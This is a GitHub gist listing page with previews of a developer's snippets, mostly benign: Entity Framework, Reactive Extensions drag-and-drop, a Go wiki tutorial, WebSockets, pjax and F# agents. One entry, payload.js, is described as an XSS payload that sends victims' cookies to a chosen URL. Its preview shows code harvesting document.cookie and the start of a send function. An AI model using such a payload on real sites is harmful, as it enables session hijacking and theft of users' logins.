Skip to content

Instantly share code, notes, and snippets.

@vkobel
vkobel / GetKeys.cs
Created May 27, 2013 08:55
Simple method to retrieve the keys of an entity in EF. The thing here is to convert the dumb DbContext into a much more powerful ObjectContext.
public IEnumerable<string> GetPrimaryKeyNames<T>() {
ObjectSet<T> objCtx = (ctx as IObjectContextAdapter).ObjectContext.CreateObjectSet<T>();
return objCtx.EntitySet.ElementType.KeyMembers.Select(k => k.Name);
}
@vkobel
vkobel / RxDragDrop.cs
Last active August 10, 2020 05:04
Simple Drag & Drop with Reactive Extensions
using System;
using System.Reactive.Linq;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Input;
namespace RxDragAndDrop {
public partial class MainWindow : Window {
@vkobel
vkobel / wiki.go
Created November 29, 2013 14:05
Simple Go Lang tutorial -> create a wiki
package main
import(
"html/template"
"io/ioutil"
"net/http"
"regexp"
)
type Page struct {
@vkobel
vkobel / payload.js
Last active December 30, 2015 12:49
Simple xss js payload that calls a specified URL with the list of the cookies. The second file is the golang code used to display in real time the cookies of the xss'ed victims.
function listCookies() {
var theCookies = document.cookie.split(';');
var aString = '';
for (var i = 1; i <= theCookies.length; i++) {
aString += i + ' ' + theCookies[i - 1] + " -- ";
}
return aString;
}
function xss_send(val) {
@vkobel
vkobel / leftpad.js
Created January 7, 2014 09:26
Simple left padding function in javascript
function leftpad(padding, val){
return (padding + val).slice(padding.length * -1);
}
@vkobel
vkobel / WSServer.cs
Last active August 29, 2015 13:57
Basic structure for a WebSocket communication (multitask ready) with C# / Alchemy
using System;
using System.Collections.Concurrent;
using System.Net;
using System.Threading;
using System.Threading.Tasks;
using Alchemy;
using Alchemy.Classes;
namespace WebSocketsDemo {
class WSServer {
@vkobel
vkobel / base.html.twig
Last active August 29, 2015 13:58
Essential snippets for pjax + nprogress (YouTube like navigation) to work along with Silex/Symfony2
{# parent template for every standard (non-pjax) requests #}
(...)
<link href="{{ res }}/css/nprogress.css" rel="stylesheet" media="screen" />
<script src="{{ res }}/js/jquery-2.1.0.min.js"></script>
<script src="{{ res }}/js/jquery.pjax.js"></script>
<script src="{{ res }}/js/nprogress.js"></script>
open System.Threading
let workThenWait() =
async {
do! Async.Sleep(1000)
printfn "work done"
}
let demo() =
printfn "started"
@vkobel
vkobel / seqjoin.fs
Created April 24, 2014 13:19
Join / combine 2 seq into one in F#
let joinseq seq1 seq2 =
seq {
yield! seq1
yield! seq2
}
@vkobel
vkobel / AgentsSimple.fs
Created April 24, 2014 15:30
Simple F# agents (MailboxProcessor) example. Try it here: http://www.tryfsharp.org/create/vkobel/Agent.fsx
type CounterMessage =
| Update of float
| Reset
let inbox = MailboxProcessor.Start(fun agent ->
// Function that implements the body of the agent
let rec loop sum count = async {
// Asynchronously wait for the next message
let! msg = agent.Receive()
match msg with